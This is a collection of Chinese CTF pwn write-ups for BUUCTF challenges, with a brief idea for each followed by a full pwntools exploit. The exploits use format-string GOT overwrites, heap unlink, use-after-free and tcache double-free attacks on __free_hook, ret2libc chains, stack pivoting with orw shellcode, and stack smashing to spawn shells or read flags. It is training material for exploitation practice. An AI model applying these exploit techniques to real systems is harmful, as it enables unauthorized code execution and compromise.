system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
one_gadget = libcbase + 0x4f322
# second attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(ret) + p64(rdi) + p64(buff+0x28) + p64(system) + b'/bin/sh\x00'
payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)
p.interactive()
inndy_echo
思路:
又是经典的格式化字符串漏洞,还是栈上的,这种太简单了,直接上exp把
Exp:
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#----------------------------------------------------------------------------------------
#p=process("./echo")
elf=ELF("./echo")
p=remote("node5.buuoj.cn",26113)
printf_got=elf.got["printf"]
system_addr=elf.sym["system"]
#p.sendline(payload)
#debug('b *0x080485B9')
payload=fmtstr_payload(7, {printf_got: system_addr})
sl(payload)
r()
pause()
sl(b'sh\x00')
inter()
picoctf_2018_leak_me
思路:
程序逻辑很简单只要猜对password了就给flag,但是我们是不可能去猜的没辙了可以看到
v5和s靠的比较进,而且后面还会puts(s),那么我们只需要通过合理输入v5的字长即可得到password,从而getshell
Exp:
from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",27505)
payload=b'a'*0x100
p.sendline(b'a'*0xf0)
p.recv(0xf0)
p.recvline()
p.recv(14)
p.sendline(p.recv())
print(p.recv())
hitcontraining_unlink
思路:
和上面那道hitcontraining_bamboobox一模一样,没啥好说的
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27029)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice:', '2')
p.sendlineafter(b'Please enter the length of item name:', str(size))
p.sendafter(b'Please enter the name of item:', content)
def show():
p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
p.sendlineafter(b'Your choice:', '3')
p.sendlineafter(b'Please enter the index of item:', str(index))
p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
p.sendlineafter(b'Your choice:', '4')
p.sendlineafter(b'Please enter the index of item:', str(index))
def get_shell():
p.sendlineafter(b'Your choice:', '/bin/sh\x00')
heap=0x6020c8
add(0x81,b'a'*8)
add(0x81,b'a'*2)
add(0x18,b'b'*2)
edit(0,p64(0)+p64(0x81)+p64(heap-0x18)+p64(heap-0x10)+b'\x00'*0x60+p64(0x80)+p64(0x90))
#debug()
free(1)
add(0x81,b'a'*2)
edit(0,p64(0)*2+p64(0x81)+p64(0x602018)+p64(0x81)+p64(0x6020c0))
show()
p.recvuntil(b'0 : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["free"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
edit(1,p64(0x81)+p64(elf.got["atoi"]))
edit(0,p64(system))
get_shell()
p.interactive()
wustctf2020_easyfast
思路:
一道没有菜单的堆题,典型的uaf漏洞
而且还给了后门,那么随便打了
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./pwn')
#p = remote("node5.buuoj.cn",27116)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'choice>\n', '1')
p.sendlineafter(b'size>\n', str(size))
def free(index):
p.sendlineafter(b'choice>\n', '2')
p.sendlineafter(b'index>\n', str(index))
def edit(index, content):
p.sendlineafter(b'choice>\n', '3')
p.sendlineafter(b'index>\n', str(index))
p.send(content)
add(0x40)
#add(0x71)
free(0)
edit(0,p64(0x602080))
debug()
add(0x40)
add(0x40)
edit(2,p64(0))
#debug()
p.sendlineafter(b'choice>\n', '4')
p.interactive()
[极客大挑战 2019]Not Bad
思路:
这道题看起来也泄露不了栈地址,但是我们可以看到程序在0x123000开辟了一段可写可执行空间
那么我们就可以通过栈迁移往这里写值,但是问题来了,我们怎么往这里写值。我们的read是往栈上写值的。这里我们需要用到read的汇编利用,我们可以提前控制rbp的值,然后再让程序返回到
这个0x400A28的位置,然后程序就会根据我们rbp的值再加上一些偏移,赋值给rsi,最后实现往0x123000+偏移的地方写值,但是这里的0x38的字长,再加上偏移还是不够我们写orw,所以我们可以再执行一次read,来获取更多的字长,然后如果在调试时发现位置不对的话,可以通过nop滑梯滑到正确的地方执行orw。
Exp:
from pwn import *
#p=process("./pwn")
#gdb.attach(p,'b *0x400A39 ')
context.log_level='debug'
p=remote("node5.buuoj.cn",28298)
context(os = 'linux', arch = 'amd64')
buf=0x123200
sc=shellcraft.open('/flag')#pwntools自带的生成这个函数的代码
sc+=shellcraft.read(3,buf,0x30)
sc+=shellcraft.write(1,buf,0x30)
shellcode=asm(
'''
mov rax, 0
mov rdi, 0
lea rsi, [0x12301f]
mov rdx, 160
syscall
'''
)
p.send(b'a'*0x20+p64(0x123000+0x20)+p64(0x400A28)+b'a'*8)
pause()
p.send(shellcode+b'\x00'*2+p64(0x60)+p64(0x1230))
pause()
p.recv()
p.send(b'\x90'*22+asm(sc))
print(p.recv())
pause()
axb_2019_fmt64
思路:
格式化字符串漏洞
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 22713)
elf = ELF('./pwn')
libc = ELF('libc-2.23-x64.so')
p.recv()
# leak libcbase
payload = b'stop%9$s' + p64(elf.got['puts'])
p.sendline(payload)
p.recvuntil('stop')
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
# printf => system
payload = fmtstr_payload(8, {elf.got['printf']:system}, write_size = 'byte', numbwritten = 0x9)
p.sendline(payload)
# pwn
p.sendline(b';/bin/sh\x00')
p.interactive()
wustctf2020_name_your_cat
思路:
这里存在数组越界,而且又有后门函数,然后还有循环五次,直接该返回地址为shell即可
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./pwn')
#p = remote('node4.buuoj.cn', 29713)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
for i in range(5):
p.recv()
p.sendline(b'7')
p.recv()
p.sendline(p32(elf.sym['shell']))
p.interactive()
actf_2019_babyheap
思路:
又是一道菜单堆题,而且还有uaf漏洞,还是libc2.27的
那么我们就可以任意地址写了,这里虽然got表是不可写的,但是从菜单中可以看出来我们有system表象,再看看这个show
我们只要把这个show的功能改为system,再在堆块里面填充sh\x00即可getshell
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",29971)
elf = ELF('./pwn')
libc = ELF('libc-2.27_18_64.so')
def debug():
gdb.attach(p)
def add(size, content):
p.sendlineafter(b'Your choice: ', '1')
p.sendlineafter(b'Please input size: \n', str(size))
p.sendafter(b'Please input content: \n', content)
def free(index):
p.sendlineafter(b'Your choice: ', '2')
p.sendlineafter(b'Please input list index: \n', str(index))
def show(index):
p.sendlineafter(b'Your choice: ', '3')
p.sendlineafter(b'Please input list index: \n', str(index))
add(0x18,b'sh\x00')#0
add(0x20,b'a'*0x20)#1
free(0)
free(1)
free(0)
add(0x18,p8(0x50))
add(0x18,p64(0x602010)+p64(elf.sym["system"]))#0
#debug()
show(0)
p.interactive()
cmcc_pwnme1
思路:
漏洞点位于getfruit函数,存在栈溢出,然后
这里一个getflag的后门函数,不在根目录下大概率不对,我还是直接打ret2libc吧
Exp:
from pwn import *
#p=process("./pwnme1")
elf=ELF("./pwnme1")
libc=ELF("libc-2.23_16_32.so")
p=remote("node5.buuoj.cn",28863)
p.sendline(b'5')
p.recv()
#gdb.attach(p)
payload=b'a'*(0xa4+0x4)+p32(elf.sym["puts"])+p32(elf.sym["main"])+p32(elf.got["puts"])
p.sendline(payload)
p.recvline()
pause()
libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b'sh\x00'))
p.sendline(b'5')
payload1=b'a'*(0xa4+0x4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload1)
print(hex(libc_base))
p.interactive()
pause()
wdb2018_guess
思路:
栈溢出漏洞,由于泄露不了canary,那么我们可以将指向程序名的 argv[0] 改为 flag 的地址。
可以通过p &__libc_argv[0]来找到栈上的程序名,由于flag的地址是写在栈上的,所以这道题的思维点就是如何泄露栈地址。
这里可以通过先把got表替换程序名,把libcbase泄露出来,再通过libc_base里面的environ,可以找到__libc_argv[0]的栈地址,从而得出flag的栈地址,再通过stack smash来泄露即可。
不过令人崩溃的是这题目的环境,有时候本地打通了,远程又打不通。即使patch了也是如此
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
#context(os = 'linux', arch = 'amd64')
#p = process('./GUESS')
#gdb.attach(p)
p = remote("node5.buuoj.cn",28852)
elf = ELF('./GUESS')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_64.so')
# leak libcbase
p.recv()
payload = b'a'*0x128 + p64(elf.got['puts'])
p.sendline(payload)
pause()
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
print(hex(libcbase))
environ = libcbase + libc.sym['__environ']
# leak stack_environ
p.recv()
payload = b'a'*0x128 + p64(environ)
p.sendline(payload)
print('environ => ', hex(environ))
stack_environ = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# leak flag
p.recv()
payload = b'a'*0x128 + p64(stack_environ - 0x168)
p.sendline(payload)
p.recv()
print(p.recv())
print(p.recv())
pause()
axb_2019_brop64
思路:
不知道是不是要盲打的,不过有附件的话那么就是一道简单的ret2libc了
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26203)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
rdi = 0x400963
payload = b'If there is a chance,I won\'t make any mistake!\n\x00'
payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendafter(b'Please tell me:', payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'If there is a chance,I won\'t make any mistake!\n\x00'
payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(binsh) + p64(system)
p.sendafter(b'Please tell me:', payload)
p.interactive()
ciscn_2019_final_3
思路:
c++菜单堆题,这里只有add和free功能
也是存在uaf漏洞,题目还单独给了libc,果然是libc2.27的版本,但是由于patch在我22的虚拟机上不成功,看其他师傅说貌似是需要18的虚拟机,但是我18的环境还没配好,所以先放一下这题,等我以后来看看
Exp:
ciscn_2019_es_1
思路:
libc2.27下的菜单堆题,存在uaf漏洞,其他没啥好说的
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27746)
elf = ELF('./pwn')
libc = ELF('libc_18_64.so')
def debug():
gdb.attach(p)
pause()
def add(size, name, call):
p.sendlineafter(b'choice:', '1')
p.sendlineafter(b'Please input the size of compary\'s name\n', str(size))
p.sendafter(b'please input name:\n', name)
p.sendafter(b'please input compary call:\n', call)
def show(index):
p.sendlineafter(b'choice:', '2')
p.sendlineafter(b'Please input the index:\n', str(index))
def free(index):
p.sendlineafter(b'choice:', '3')
p.sendlineafter(b'Please input the index:\n', str(index))
#leak
add(0x410,b'a',b'233')#idx(0)
add(0x40,b'b',b'233')#idx(1)
add(0x40,b'c',b'233')#idx(2)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
system=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]
#change fd
free(2)
free(1)
free(2)
#free_hook attack
add(0x40,p64(free_hook),b'233')#idx(2)
add(0x40,b'c',b'233')#idx(1)
add(0x40,b'/bin/sh\x00',b'233')#idx(2)
add(0x40,p64(system),b'233')#idx(3)
print(hex(libc_base))
free(2)
p.interactive()
版权归原作者 m5t0ck 所有, 如有侵权,请联系我们删除。